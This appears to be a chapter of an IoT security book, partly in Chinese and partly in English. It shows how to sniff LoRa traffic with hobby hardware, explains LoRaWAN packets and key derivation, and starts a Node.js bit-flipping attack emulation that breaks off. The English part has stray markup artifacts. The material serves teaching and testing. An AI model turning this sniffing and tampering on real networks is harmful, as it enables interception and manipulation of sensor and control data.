当物联网行业的人们谈论 LoRa 时,他们通常是指 LoRa 和 LoRaWAN 的结合。LoRa 是由 Semtech 公司专利的专有调制方案,并授权给其他公司使用。在计算机网络的七层 OSI 模型中,LoRa 定义了物理层,涉及无线电接口,而 LoRaWAN 定义了其上的各个层次。LoRaWAN 是由 LoRa 联盟维护的开放标准,这个联盟是一个由 500 多个会员公司组成的非营利性协会。
LoRaWAN 网络由节点、网关和网络服务器组成(见图 13-1)。

图 13-1:LoRaWAN 网络架构
节点是与网关使用 LoRaWAN 协议通信的小型、廉价设备。网关是稍大且更贵的设备,作为中介转发数据,在节点和网络服务器之间进行通信,这些设备通过任何标准的 IP 连接进行通信。(这种 IP 连接可以是蜂窝网络、Wi-Fi 等。)网络服务器有时会与应用服务器连接,当接收到来自节点的消息时,应用服务器会执行逻辑。例如,如果节点报告的温度值超过某个阈值,服务器可以向节点发送指令并采取适当的行动(例如,打开阀门)。LoRaWAN 网络采用星型拓扑,这意味着多个节点可以与一个或多个网关通信,而网关与一个网络服务器进行通信。
捕获 LoRa 流量
在本节中,我们将演示如何捕获 LoRa 流量。通过这个过程,你将学习如何使用 CircuitPython 编程语言并与简单的硬件工具互动。虽然有多种工具可以捕获 LoRa 信号,但我们选择了那些能够展示你在其他物联网黑客任务中可能使用的技术的工具。
在这个练习中,我们将使用三个组件:
-
LoStik 一款开源 USB LoRa 设备(可从
ronoth.com/lostik/购买)。LoStik 使用 Microchip 模块 RN2903(美国)或 RN2483(欧洲),具体取决于你所在的国际电信联盟(ITU)区域。请确保选择适合你区域的版本。 -
CatWAN USB Stick 一款开源的 USB 设备,兼容 LoRa 和 LoRaWAN(可在
electroniccats.com/store/catwan-usb-stick/购买)。 -
Heltec LoRa 32 一款用于 LoRa 的 ESP32 开发板 (
heltec.org/project/wifi-lora-32/)。ESP32 开发板是低成本、低功耗的微控制器。
我们将把 LoStik 设置为接收器,把 Heltec 开发板设置为发送器,然后让它们通过 LoRa 进行通信。接着,我们将配置 CatWAN USB Stick 作为嗅探器来捕获 LoRa 流量。
设置 Heltec LoRa 32 开发板
我们将首先使用 Arduino IDE 编程 Heltec 开发板。请返回第七章了解 Arduino 的简介。
如果你还没有安装 IDE,请先安装它,然后添加 Arduino-ESP32 的 Heltec 库。这些库将允许你使用 Arduino IDE 对 ESP32 开发板(如 Heltec LoRa 模块)进行编程。要完成安装,请点击 File▶Preferences▶Settings,然后点击 Additional Boards Manager URLs 按钮。在列表中添加以下 URL:resource.heltec.cn/download/package_heltec_esp32_index.json,然后点击 OK。接着点击 ToolsBoardBoards Manager。搜索 Heltec ESP32,点击应出现的 Heltec Automation 提供的 Heltec ESP32 Series Dev-boards 选项上的 Install。我们使用的是版本 0.0.2-rc1。**
下一步是安装 Heltec ESP32 库。点击 Sketch▶Include Library▶Manage Libraries。然后搜索“Heltec ESP32”,点击 Heltec Automation 提供的 Heltec ESP32 Dev-Boards 选项上的 Install。我们使用的是版本 1.0.8。
要查看库文件的保存位置,点击 File▶Preferences▶Sketchbook location。在 Linux 上,那里列出的目录通常是 /home/
你可能还需要安装 UART 桥接 VCP 驱动程序,以便在连接 Heltec 板到计算机时,Heltec 板能够显示为一个串行端口。你可以在 www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers/ 获取驱动程序。如果你使用的是 Linux,请确保选择与你正在运行的内核版本相匹配的驱动程序。发布说明中包括了如何编译内核模块的说明。
请注意,如果你以非 root 用户身份登录,可能需要将你的用户名添加到具有读写权限的 /dev/ttyACM 和 /dev/ttyUSB 特殊设备文件所在的组。你需要这样做,才能在 Arduino IDE 中访问串行监视器功能。打开终端并输入以下命令:
$ **ls -l /dev/ttyUSB***
crw-rw---- 1 root dialout 188, 0 Aug 31 21:21 /dev/ttyUSB0
这个输出意味着文件的组所有者是 dialout(你的发行版可能不同),因此你需要将你的用户名添加到该组:
$ **sudo usermod -a -G dialout** `<username>`
属于 dialout 组的用户可以完全直接访问系统上的串行端口。一旦将你的用户名添加到该组,你应该就能获得进行此步骤所需的访问权限。
编程 Heltec 模块
要编程 Heltec 模块,我们将其连接到计算机的 USB 端口。确保你已经将可拆卸的天线连接到主模块上。否则,你可能会损坏开发板(图 13-2)。

图 13-2:Heltec Wi-Fi LoRa 32 (V2) 基于 ESP32 和 SX127x,支持 Wi-Fi、BLE、LoRa 和 LoRaWAN。箭头指示了天线连接的位置。
在 Arduino IDE 中,点击 工具▶开发板▶WiFi LoRa 32 (V2),如图 13-3 所示,选择开发板。

图 13-3:在 Arduino IDE 中选择正确的开发板:WiFi LoRa 32(V2)。
接下来,我们将开始编写 Arduino 程序,使 Heltec 模块作为 LoRa 数据包发送器。代码将配置 Heltec 模块的无线电,并循环发送简单的 LoRa 负载。点击 文件▶新建,然后将来自清单 13-1 的代码粘贴到文件中。
#include "heltec.h"
#define BAND 915E6
String packet;
unsigned int counter = 0;
void setup() { 1
Heltec.begin(true, true, true, true, BAND);
Heltec.display->init();
Heltec.display->flipScreenVertically();
Heltec.display->setFont(ArialMT_Plain_10);
delay(1500);
Heltec.display->clear();
Heltec.display->drawString(0, 0, "Heltec.LoRa Initial success!");
Heltec.display->display();
delay(1000);
}
void loop() { 2
Heltec.display->clear();
Heltec.display->setTextAlignment(TEXT_ALIGN_LEFT);
Heltec.display->setFont(ArialMT_Plain_10);
Heltec.display->drawString(0, 0, "Sending packet: ");
Heltec.display->drawString(90, 0, String(counter));
Heltec.display->display();
LoRa.beginPacket(); 3
LoRa.disableCrc(); 4
LoRa.setSpreadingFactor(7);
LoRa.setTxPower(20, RF_PACONFIG_PASELECT_PABOOST);
LoRa.print("Not so secret LoRa message ");
LoRa.endPacket(); 5
counter++; 6
digitalWrite(LED, HIGH); // turn the LED on (HIGH is the voltage level)
delay(1000);
digitalWrite(LED, LOW); // turn the LED off by making the voltage LOW
delay(1000);
}
清单 13-1:使 Heltec LoRa 模块作为基本 LoRa 数据包发送器的 Arduino 代码。
我们首先包含 Heltec 库,其中包含与开发板上的 OLED 显示屏和 SX127x LoRa 芯片进行接口的函数。我们使用的是 LoRa 的美国版本,因此我们将频率定义为 915 MHz。
我们调用 setup() 函数 1,记住,这个函数只会在 Arduino 程序开始时调用一次。在这里,我们用它来初始化 Heltec 模块及其 OLED 显示屏。Heltec.begin 中的四个布尔值启用开发板的显示屏;LoRa 无线电;串行接口,这样你就可以使用串行监视器查看设备输出,稍后会解释;以及 PABOOST(高功率发射器)。最后一个参数设置了用于传输信号的频率。setup() 中的其他命令初始化并设置 OLED 显示屏。
与 setup() 类似,loop() 函数 2 是一个内置的 Arduino 函数,它会无限循环执行,所以我们将主要逻辑放在这里。我们从打印字符串 Sending packet: 开始,每发送一个数据包后,OLED 显示屏上会显示一个计数器,用来跟踪我们发送了多少个 LoRa 数据包。
接下来,我们开始发送 LoRa 数据包 3 的过程。接下来的四个命令 4 配置 LoRa 无线电:它们禁用 LoRa 头部的 循环冗余检查(CRC)(默认情况下不使用 CRC),设置扩频因子为 7,设置最大传输功率为 20,并使用 Heltec 库中的 LoRa.print() 函数将实际负载添加到数据包中。CRC 是一种固定长度的错误检测值,帮助接收方检查数据包是否损坏。扩频因子 决定了 LoRa 数据包在空中的持续时间。SF7 是空中时间最短的,而 SF12 是最长的。每增加一级扩频因子,空中传输相同数据所需的时间就会翻倍。虽然较慢,但较高的扩频因子可以用来实现更长的传输距离。传输功率 是 LoRa 无线电产生的无线电频率能量的功率值,以瓦特为单位;其值越高,信号越强。然后,我们通过调用 LoRa.endPacket() 5 来发送数据包。
最后,我们增加数据包的 counter 并开启或关闭 Heltec 开发板上的 LED,以表示我们刚刚发送了另一个 LoRa 数据包 6。
为了更好地理解我们的 Arduino 程序,我们建议你阅读Heltec ESP32 LoRa库代码及 API 文档,地址为github.com/HelTecAutomation/Heltec_ESP32/tree/master/src/lora/。
测试 LoRa 发送器
要尝试代码,请将其上传到 Heltec 板。确保你在 Arduino IDE 中选择了正确的端口。点击Tools▶Port,选择 Heltec 连接的 USB 端口。通常,这应该是/dev/ttyUSB0,或者在某些情况下是/dev/ttyACM0。
此时,你可以通过点击Tools▶Serial Monitor打开串行监视器控制台。我们已将大多数输出重定向到板子的 OLED 显示屏,因此在此练习中串行控制台并不那么必要。
然后点击Sketch▶Upload,这将编译、上传并运行板上的代码。你现在应该能在板子的屏幕上看到数据包计数器,如图 13-4 所示。

图 13-4:运行我们代码的 Heltec 板,显示当前发送的数据包数量
设置 LoStik
为了接收来自 Heltec 板的数据包,我们现在将 LoStik 设置为 LoRa 接收器(图 13-5)。我们使用了 LoStik 的 RN2903(美国)版本,适用于美国、加拿大和南美。我们建议你查阅 The Things Network 项目提供的以下地图,了解各国的 LoRaWAN(和 LoRa)频率规划与法规:www.thethingsnetwork.org/docs/lorawan/frequencies-by-country.html

图 13-5:LoStik 有两个版本:Microchip 的 RN2903(美国)和 RN2483(欧洲)模块。确保为你的 ITU 区域选择正确的版本。
若要下载并尝试一些 LoStik 开发者提供的代码示例,你可以运行以下命令:
$ **git clone https://github.com/ronoth/LoStik.git**
若要运行示例,你需要 Python 3 以及pyserial包。你可以通过将pip包管理器指向examples目录中的requirements.txt文件来安装后者:
# pip install -r requirements.txt
当你将 LoStik 插入计算机时,输入以下命令查看它被分配到哪个设备文件描述符:
$ **sudo dmesg**
…
usb 1-2.1: ch341-uart converter now attached to ttyUSB0
如果没有连接其他外部设备,它应该被分配为/dev/ttyUSB0。
编写 LoRa 接收器代码
在文本编辑器(如 Vim)中,输入以下 Python 脚本,让 LoStik 充当基本的 LoRa 接收器。该代码将通过串行接口向 LoStik 中的 LoRa 无线电芯片(RN2903)发送配置命令,使其监听某些类型的 LoRa 流量并将接收到的数据包打印到终端。清单 13-2 展示了我们的代码。
#!/usr/bin/env python3 1
import time
import sys
import serial
import argparse
from serial.threaded import LineReader, ReaderThread
parser = argparse.ArgumentParser(description='LoRa Radio mode receiver.') 2
parser.add_argument('port', help="Serial port descriptor")
args = parser.parse_args()
class PrintLines(LineReader): 3
def connection_made(self, transport): 4
print("serial port connection made")
self.transport = transport
self.send_cmd('mac pause') 5
self.send_cmd('radio set wdt 0')
self.send_cmd('radio set crc off')
self.send_cmd('radio set sf sf7')
self.send_cmd('radio rx 0')
def handle_line(self, data): 6
if data == "ok" or data == 'busy':
return
if data == "radio_err":
self.send_cmd('radio rx 0')
return
if 'radio_rx' in data: 7
print(bytes.fromhex(data[10:]).decode('utf-8', errors='ignore'))
else:
print(data)
time.sleep(.1)
self.send_cmd('radio rx 0')
def connection_lost(self, exc): 8
if exc:
print(exc)
print("port closed")
def send_cmd(self, cmd, delay=.5): 9
self.transport.write(('%s\r\n' % cmd).encode('UTF-8'))
time.sleep(delay)
ser = serial.Serial(args.port, baudrate=57600) a
with ReaderThread(ser, PrintLines) as protocol:
while(1):
pass
清单 13-2:一个 Python 脚本,让 LoStik 充当基本的 LoRa 接收器
这个 Python 脚本首先导入必要的模块 1,包括从 pyserial 包中导入的 serial 类 LineReader 和 ReaderThread。这两个类将帮助我们使用线程实现串口读取循环。接下来,我们设置一个非常基础的命令行参数解析器 2,通过它我们将串口的设备文件描述符(例如,/dev/ttyUSB0)作为唯一参数传递给我们的程序。我们定义了 PrintLines3,一个 serial.threaded.LineReader 的子类,我们的 `ReaderThread` 对象将使用这个类。该类实现了程序的主要逻辑。我们在 `connection_made`4 中初始化所有 LoStik 无线电设置,因为它是在线程启动时被调用的。
The next five commands 5 configure the LoRa radio part of the RN2903 chip. These steps resemble the steps you took to configure the LoRa radio in the Heltec board. We advise you to read a detailed explanation of these commands in the “RN2903 LoRa Technology Module Command Reference User’s Guide” from Microchip ([`www.microchip.com/wwwproducts/en/RN2903`](https://www.microchip.com/wwwproducts/en/RN2903)). Let’s look at each command: 1. `mac pause` Pauses the LoRaWAN stack functionality to allow you to configure the radio, so we start with this. 2. `radio set wdt 0` Disables the *Watchdog Timer*, a mechanism that interrupts radio reception or transmission after a configured number of milliseconds have passed. 3. `radio set crc off` Disables the CRC header in LoRa. The `off` setting is the most common setting. ``* `radio set sf sf7` Sets the spreading factor. Valid parameters are *sf7*, *sf8*, *sf9*, *sf10*, *sf11*, or *sf12*. We set the spreading factor to sf7, because the Heltec LoRa 32 node, which acts as our sender, is in the same room as the receiver (remember that short distances require small spreading factors) and also has a spreading factor of 7\. The two spreading factors must match or else the sender and receiver might not be able to talk to each other.* `radio rx 0` Puts the radio into continuous *Receive* mode, which means it will listen until it receives a packet.`` ``````` We then override function `handle_line` of `LineReader`6, which is called whenever the RN2903 chip receives a new line from the serial port. If the value of the line is `ok` or returns `busy`, we return to keep listening for new lines. If that line is a `radio_err` string, that probably means the Watchdog Timer sent an interrupt. The default value of the Watchdog Timer is 15,000 ms, which means that if 15 seconds have passed since the beginning of the transceiver reception without it receiving any data, the Watchdog Timer interrupts the radio and returns `radio_err`. If that happens, we call `radio rx 0` to set the radio into continuous Receive mode again. We previously disabled the Watchdog Timer in this script, but it’s good practice to handle this interrupt in any case. If the line contains a `radio rx`7, then it contains a new packet from the LoRa radio receiver, in which case we try to decode the payload (everything from byte 10 onward, because bytes 0–9 of the data variable contain the string `"radio rx"`) as UTF-8, ignoring any errors (characters that can’t be decoded). Otherwise, we just print the whole line, because it will probably contain a reply from the LoStik to some command we sent to it. For example, if we send it a `radio get crc` command, it will reply with `on` or `off`, indicating whether or not the CRC is enabled. We also override `connection_lost` 8,`` which is called when the serial port is closed or the reader loop otherwise terminates. We print the exception `exc` if it was terminated by an error. The function `send_cmd` 9`is just a wrapper that makes sure commands sent to the serial port have the proper format. It checks that the data is UTF-8 encoded and that the line ends with a carriage return and newline character.` `` `````` ````` For our script’s main code a, we create a Serial object called `ser`, which takes the serial port’s file descriptor as an argument and sets the *baud rate* (how fast data is sent over the serial line). The RN2903 requires a rate of 57600\. We then create an infinite loop and initialize a `pyserial``ReaderThread` with our serial port instance and `PrintLines` class, starting our main logic. #### Starting the LoRa Receiver With the LoStik plugged into a USB port in our computer, we can start our LoRa receiver by entering this line: ``` # ./lora_recv.py /dev/ttyUSB0 ``` We should now see the LoRa messages sent by the Heltec module: ``` root@kali:~/lora# ./lora_recv.py /dev/ttyUSB0 serial port connection made 4294967245 Not so secret LoRa message Not so secret LoRa message Not so secret LoRa message Not so secret LoRa message Not so secret LoRa message ``` You should expect to see a new LoRa message of the same payload every few seconds, given how often the program calls the Heltec module loop. ### Turning the CatWAN USB Stick into a LoRa Sniffer Now let’s set up the device that will allow us to sniff this LoRa traffic. The CatWAN USB stick (Figure 13-6) uses a RFM95 chip, and you can dynamically configure it to use either 868 MHz (for the European Union) or 915 MHz (for the United States).  Figure 13-6: The CatWAN USB stick, which is compatible with LoRa and LoRaWAN, is based on the RFM95 transceiver. The arrow points to the reset (RST) button. The stick comes with a plastic case, which you’ll have to remove to access the reset button. After you connect the stick to your computer, quickly press the reset button twice. A USB storage unit called USBSTICK should appear in the Windows File Explorer. #### Setting Up CircuitPython Download and install the latest version of Adafruit’sCircuitPython at [`circuitpython.org/board/catwan_usbstick/`](https://circuitpython.org/board/catwan_usbstick/). *CircuitPython* is an easy, open source language based on MicroPython, a version of Python optimized to run on microcontrollers. We used version 4.1.0\. CatWAN uses a SAMD21 microcontroller, which has a bootloader that makes it easy to flash code onto it. It uses Microsoft’s *USB Flashing Format (UF2)*, which is a file format that is suitable for flashing microcontrollers using removable flash drives. This allows you to drag and drop the *UF2* file to the USBSTICK storage device. This action automatically flashes the bootloader. Then the device reboots and renames the drive to CIRCUITPY. You’ll also need two CircuitPython libraries: *Adafruit CircuitPython RFM9x* and *Adafruit CircuitPython BusDevice*. You can find these at [`github.com/adafruit/Adafruit_CircuitPython_RFM9x/releases`](https://github.com/adafruit/Adafruit_CircuitPython_RFM9x/releases)and [`github.com/adafruit/Adafruit_CircuitPython_BusDevice/releases`](https://github.com/adafruit/Adafruit_CircuitPython_BusDevice/releases)*.* We installed these using *adafruit-circuitpython-rfm9x-4.x-mpy-1.1.6.zip* and *adafruit-circuitpython-bus-device-4.x-mpy-4.0.0.zip*. The 4.*x* number refers to the CircuitPython version; make sure these installations correspond with your installed version. You’ll have to unzip them and transfer the *.mp*y files to the CIRCUITPY drive. Note that the *bus* library needs the *.mpy* files to be in the *bus* library directory, as shown in Figure 13-7. The library files are placed inside the *lib* directory, and there is a subdirectory *adafruit_bus_device* for the `I2C` and `SPI` modules. The *code.py* file you’ll create resides in the USB volume drive’s very top (root) directory.  Figure 13-7: The CIRCUITPY drive’s directory structure. Next, we’ll configure the Serial Monitor (with the same functionality as the Arduino Serial Monitor, explained earlier). For this, we used PuTTY on Windows, because it has worked much better than any other Windows-based terminal emulator that we tested. Once you have PuTTY on your system, identify the right COM port by opening your Windows Device Manager and navigating to **Ports (COM & LPT)** (Figure 13-8).  Figure 13-8: Configuring PuTTY to connect to the serial console on COM4, which we identified in the Device Manager as the port being used by the CatWAN stick. Your COM port might be different. Unplug and replug the CatWAN stick into your computer to identify the correct COM port. Doing so works because you’ll see which COM port disappears in the Device Manager when you unplug it and reappears when you replug it. Next, in the **Session** tab, choose **Serial.** Enter the right COM port into the **Serial line** box, and change the baud rate to **115200**. #### Writing the Sniffer To write the CircuitPython code, we recommend that you use the MU editor ([`codewith.mu/)`](https://codewith.mu/)). Otherwise, the changes to the CIRCUITPY drive might not be saved correctly and in real time. When you first open MU, choose the **Adafruit CircuitPython** mode. You can also change the mode later using the Mode icon on the menu bar. Start a new file, enter the code from Listing 13-3, and save the file on the CIRCUITPY drive using the name *code.py*. Note that the filename is important, because CircuitPython will look for a code file named *code.txt*, *code.py*, *main.txt*,or *main.py* in that order. When you first save the *code.py* file on the drive and each time you make changes to the code through the MU editor, MU automatically runs that version of the code on the CatWAN. You can monitor this execution using the serial console with PuTTY. Using the console, you can press CTRL-C to interrupt the program or CTRL-D to reload it. The program is similar to the basic LoRa receiver we introduced with the LoStik. The main twist is that it continuously switches between spreading factors to increase the chances of listening to different types of LoRa traffic. ``` import board import busio import digitalio import adafruit_rfm9x RADIO_FREQ_MHZ = 915.0 1 CS = digitalio.DigitalInOut(board.RFM9X_CS) RESET = digitalio.DigitalInOut(board.RFM9X_RST) spi = busio.SPI(board.SCK, MOSI=board.MOSI, MISO=board.MISO) rfm9x = adafruit_rfm9x.RFM9x(spi, CS, RESET, RADIO_FREQ_MHZ) 2 rfm9x.spreading_factor = 7 3 print('Waiting for LoRa packets...') i = 0 while True: packet = rfm9x.receive(timeout=1.0, keep_listening=True, with_header=True) 4 if (i % 2) == 0: rfm9x.spreading_factor = 7 else: rfm9x.spreading_factor = 11 i = i + 1 if packet is None: 5 print('Nothing yet. Listening again...') else: print('Received (raw bytes): {0}'.format(packet)) try: 6 packet_text = str(packet, 'ascii') print('Received (ASCII): {0}'.format(packet_text)) except UnicodeError: print('packet contains non-ASCII characters') rssi = rfm9x.rssi 7 print('Received signal strength: {0} dB'.format(rssi)) ``` Listing 13-3: CircuitPython code for the CatWAN USB stick to act as a basic LoRa sniffer First, we import the necessary modules, as we would in Python. The `board` module contains board base pin names, which will vary from board to board. The `busio` module contains classes that support multiple serial protocols, including SPI, which CatWAN uses. The `digitalio` module provides access to basic digital I/O, and `adafruit_rmf9x` is our main interface to the RFM95 LoRa transceiver that CatWAN uses. We set the radio frequency to 915 MHz 1, because we’re using the US version of CatWAN. Always make sure the frequency matches your module version. For example, change it to 868 MHz if you’re using the module’s EU version. The rest of the commands set up the SPI bus connected to the radio, as well as the Chip Select (CS) and reset pins, leading up to the initialization of our `rfm9x` class 2. The SPI bus uses the CS pin, as explained in Chapter 5\. This class is defined in the `RFM95 CircuitPython` module at [`github.com/adafruit/Adafruit_CircuitPython_RFM9x/blob/master/adafruit_rfm9x.py`](https://github.com/adafruit/Adafruit_CircuitPython_RFM9x/blob/master/adafruit_rfm9x.py). It’s worth reading the source code to get a better understanding of how the class works under the hood. The most important part of the initialization is setting the spreading factor 3. We start with SF7, but later inside the main loop, we’ll switch to other modes to increase our chances of sniffing all types of LoRa traffic. We then start polling the chip for new packets inside an infinite loop by calling `rfm9x.receive()`4 with the following arguments: 1. `timeout = 1.0` This means the chip will wait for up to one second for a packet to be received and decoded. 2. `keep_listening = True` This will make the chip enter listening mode after it receives a packet. Otherwise, it would fall back to idle mode and ignore any future reception. 3. `with_header = True` This will return the four-byte LoRa header along with the packet. This is important, because when a LoRa packet uses the *implicit header mode*, the payload might be part of the header; if you don’t read it, you might miss part of the data. Because we want the CatWAN to act as a LoRa sniffer, we need to continuously keep switching between spreading factors to increase our chances of capturing LoRa traffic from nodes that might be either too close or too far away. Switching between 7 and 11 accomplishes this to a large degree, but feel free to experiment with other or all values between 7 and 12\. If `rfm9x.receive()` didn’t receive anything in `timeout` seconds, it returns `None` 5, then we print that to the serial console and we go back to the beginning of the loop. If we receive a packet, we print its raw bytes and then try to decode them to ASCII 6. Often, the packet might contain non-ASCII characters due to corruption or encryption, and we have to catch the `UnicodeError` exception or our program will quit with an error. Finally, we print the received signal strength of the last received message by reading our chip’s RSSI register using the `rfm9x.rssi()` function 7. If you leave the serial console in PuTTY open, you should see the sniffed messages, as shown in Figure 13-9.  Figure 13-9: The serial console in PuTTY shows us the captured LoRa messages from the CatWAN stick. ## Decoding the LoRaWAN Protocol In this section, we’ll explore the LoRaWAN wireless protocol, which sits on top of LoRa. To better understand the protocol, we recommend that you read the official specification on the LoRa Alliance website at [`lora-alliance.org/lorawan-for-developers/`](https://lora-alliance.org/lorawan-for-developers/). ### The LoRaWAN Packet Format LoRaWAN defines the layers of the OSI model on top of LoRa (OSI layer 1). It mainly operates at the data link Medium Access Control (MAC) layer (OSI layer 2), although it includes some elements of the network layer (OSI layer 3). For example, the network layer covers tasks such as how nodes join LoRaWAN networks (covered in “Joining LoRaWAN Networks” on page 324), how packets are forwarded, and so on. The LoRaWAN packet format further divides the network layer into MAC and application layers. Figure 13-10 shows these layers.  Figure 13-10: The LoRaWAN packet format To understand how these three layers interact, you first need to understand the three AES 128-bit keys that LoRaWAN uses. The *NwkSKey* is a network session key that the node and the network server use to calculate and verify the Message Integrity Code (MIC) of all messages, ensuring data integrity. The *AppSKey* is an application session key that the end device and the application server (which can be the same entity as the network server) use to encrypt and decrypt the application layer payload. The *AppKey* (note there is no “s” here) is an application key known by the node and the application server and used for the *Over-the-Air Activation**(OTAA)* method, explained in “Joining LoRaWAN Networks” on page 324. The LoRa physical layer defines the radio interface, modulation scheme, and an optional CRC for error detection. It also carries the payload for the MAC layer. It has the following parts: 1. Preamble The radio preamble, which contains the synchronization function and defines the packet modulation scheme. The duration of the preamble is usually 12.25 Ts. 2. PHDR The physical layer header, which contains information such as the payload length and whether the Physical Payload CRC is present. 3. PHDR_CRC The CRC of the physical header (PHDR). The PHDR and PHDR_CRC are 20 bits in total. 4. PHYPayload The physical layer payload, which contains the MAC frame. 5. CRC The optional 16-bit CRC of the PHYPayload. Messages sent from a network server to a node never contain this field for performance reasons. The LoRaWAN MAC layer defines the LoRaWAN message type and the MIC, and it carries the payload for the application layer above. It has the following parts: 1. MHDR The *MAC header (MHDR)*, which specifies the message type (MType) of the frame format and the version of the LoRaWAN specification used. The three-bit MType specifies which of the six different MAC message types we have: Join-Request, Join-Accept, unconfirmed data up/down, and confirmed data up/down. Up refers to data traveling from the node to the network server, and down indicates data traveling in the opposite direction. 2. MACPayload The MAC payload, which contains the application layer frame. For Join-Request (or Rejoin-Request) messages, the MAC payload has its own format and doesn’t carry the typical application layer payload. 3. MIC The four-byte MIC, which ensures data integrity and prevents message forgery. It’s calculated over all fields in the message (msg = MHDR | FHDR | FPort | FRMPayload) using the NwkSKey. Keep in mind that in the case of Join-Request and Join-Accept messages, we calculate the MIC differently, because they’re a special type of MAC payload. The application layer contains application-specific data and the *end-device address (DevAddr)* that uniquely identifies the node within the current network. It has the following parts: 1. FHDR The frame header (FHDR), which contains the DevAddr, a frame control byte (FCtrl), a two-byte frame counter (FCnt), and zero to 15 bytes of frame options (FOpts). Note that FCnt increases every time a message is transmitted, and it’s used to prevent replay attacks. 2. *FPort* The frame port, used to determine whether the message contains only MAC commands (for example a Join-Request) or application-specific data. 3. FRMPayload The actual data (for example, a sensor’s temperature value). These data are encrypted using the AppSKey. ### Joining LoRaWAN Networks There are two ways for nodes to join a LoRaWAN network: OTAAand *Activation by Personalization (ABP).* We’ll discuss both methods in this section. Note that in a LoRaWAN network architecture, the application server might be a separate component from the network server, but for simplicity reasons, we’ll assume that the same entity performs both functions. The official LoRaWAN specification makes the same assumption. #### OTAA In *OTAA*, nodes follow a join procedure before being able to send data to the network and application server. Figure 13-11 illustrates this procedure.  Figure 13-11: OTAA message flow First, the LoRa node sends a *Join-Request*1 containing the *application identifier (AppEUI)*, a globally unique *end-device identifier (DevEUI)*, and a random value of two bytes (*DevNonce*). The message is signed (but not encrypted) using an AES-128 key specific to the node, called the *AppKey*. The node calculates this signature—the MIC discussed in the previous section—as follows: ``` cmac = aes128_cmac(AppKey, MHDR | AppEUI | DevEUI | DevNonce) MIC = cmac[0..3] ``` The node uses a *Cipher-based Message Authentication Code**(CMAC)*, which is a keyed hash function based on a symmetric-key block cipher (AES-128 in this case). The node forms the message to be authenticated by concatenating the MHDR, AppEUI, DevEUI, and DevNonce. The `aes128_cmac` function generates a 128-bit message authentication code, and its first four bytes become the MIC, because the MIC can hold only four bytes. Any gateway 2 that receives the Join-Request packet will forward it to its network. The gateway device doesn’t interfere with the message; it only acts as a relay. The node doesn’t send the AppKey within the Join-Request. Because the network server knows the AppKey, it can recalculate the MIC based on the received MHDR, AppEUI, DevEUI, and DevNonce values in the message. If the end device didn’t have the correct AppKey, the MIC on the Join-Request won’t match the one calculated by the server and the server won’t validate the device. If the MICs match, the device is deemed valid and the server then sends a *Join-Accept* response 3 containing a network identifier (NetID), a DevAddr, and an application nonce (AppNonce), as well as some network settings, such as a list of channel frequencies for the network. The server encrypts the Join-Accept using the AppKey. The server also calculates the two session keys, NwkSKey and AppSKey, as follows: ``` NwkSKey = aes128_encrypt(AppKey, 0x01 | AppNonce | NetID | DevNonce | pad16) AppSKey = aes128_encrypt(AppKey, 0x02 | AppNonce | NetID | DevNonce | pad16) ``` The server calculates both keys by AES-128–encrypting the concatenation of 0x01 (for the NwkSKey) or 0x02 (for the AppSKey), the AppNonce, the NetID, the DevNonce, and some padding of zero bytes so the total length of the key is a multiple of 16\. It uses the AppKey as the AES key. The gateway with the strongest signal to the device forwards the Join-Accept response to the device 4. The node then 5 stores the NetID, DevAddr, and network settings and uses the AppNonce to generate the same session keys, NwkSKey and AppSKey, as the Network Server did, using the same formula. From then on, the node and the server use the NwkSKey and AppSKey to verify, encrypt, and decrypt the exchanged data. #### ABP In *ABP*, there is no Join-Request or Join-Accept procedure. Instead, the DevAddr and the two session keys, NwkSKey and AppSKey, are already hardcoded into the node. The network server has these values preregistered as well. Figure 13-12 shows how a node sends a message to the network server using ABP.  Figure 13-12: ABP message flow The node 1 doesn’t need a DevEUI, AppEUI, or AppKey; it can start directly sending data messages to the network. The gateway 2, as usual, forwards the messages to the network server without paying attention to their content. The network server 3 is already preconfigured with the DevAddr, NwkSKey, and AppSKey, so it can verify and decrypt the messages sent by the node and then encrypt and send messages back to it. ## Attacking LoRaWAN An attacker could use many possible vectors to compromise LoRaWAN, depending on the network configuration and device deployment. In this section, we’ll discuss the following vectors: weaknesses in key generation and management, replay attacks, bit-flipping attacks, ACK spoofing, and application-specific vulnerabilities. We’ll show an example implementation of a bit-flipping attack but leave the rest for you to practice on your own. To work through some of the other attacks, you might need to acquire a LoRaWAN gateway and set up your own network and application server, which is beyond the scope of this chapter. ### Bit-Flipping Attacks A bit-flipping attack occurs when an attacker modifies a small part of the ciphertext in the encrypted application payload (the FRMPayload described in the previous section) without decrypting the packet and the server accepts the modified message. This portion might be a single bit or several. Either way, the impact of this attack depends on what value the attacker has changed; for example, if it’s a water pressure value from a sensor in a hydroelectric facility, the application server might erroneously open certain valves. Two main scenarios could allow this attack to successfully take place: * The network and application server are different entities and communicate through an insecure channel. LoRaWAN doesn’t specify how the two servers should connect. This means that the integrity of the message gets checked on the network server only (using the NwkSKey). A man-in-the-middle attacker between the two servers could modify the ciphertext. Because the application server has only the AppSKey but not the NwkSKey, there’s no way to validate the packet’s integrity, so the server can’t know if it received a maliciously modified packet. * If the network and application server are the same entity, the attack is possible if the server acts upon the FRMPayload, decrypting and using its value, before the server checks the MIC. We’ll demonstrate how this attack would work by emulating it using the `lora-packet`*Node.js* library, which should also shed some light on how a LoRaWAN packet looks in practice. Node.js is an open source JavaScript runtime environment that lets you execute JavaScript code outside of a browser. Make sure you’ve installed Node.js before you begin. Installing `npm` through `apt-get` will also install Node.js. Install the `npm` package manager, which you can use to install the *lora-packet* library. On Kali, you can use this command: ``` # apt-get install npm ``` Then download the GitHub version of `lora-packet` from [`github.com/anthonykirby/lora-packet/`](https://github.com/anthonykirby/lora-packet/) or install it directly using `npm`: ``` # npm install lora-packet ``` You can then run the code in Listing 13-4 as you would run any executable script. Copy it into a file, change its permissions to be executable with the `chmod a+x <script_name>.js` command, and run it in a terminal. The script creates a LoRaWAN packet and emulates the bit-flipping attack by altering a specific portion of it without first decrypting it. ``` #!/usr/bin/env node 1 var lora_packet = require('lora-packet'); 2 var AppSKey = new Buffer('ec925802ae430ca77fd3dd73cb2cc588', 'hex'); 3 var packet = lora_packet.fromFields({ 4 MType: 'Unconfirmed Data Up', 5 DevAddr: new Buffer('01020304', 'hex'), // big-endian 6 FCtrl: { ADR: false, ACK: true, ADRACKReq: false, FPending: false }, payload: 'RH:60', 7 } , AppSKey , new Buffer("44024241ed4ce9a68c6a8bc055233fd3", 'hex') // NwkSKey ); console.log("original packet: \n" + packet); 8 var packet_bytes = 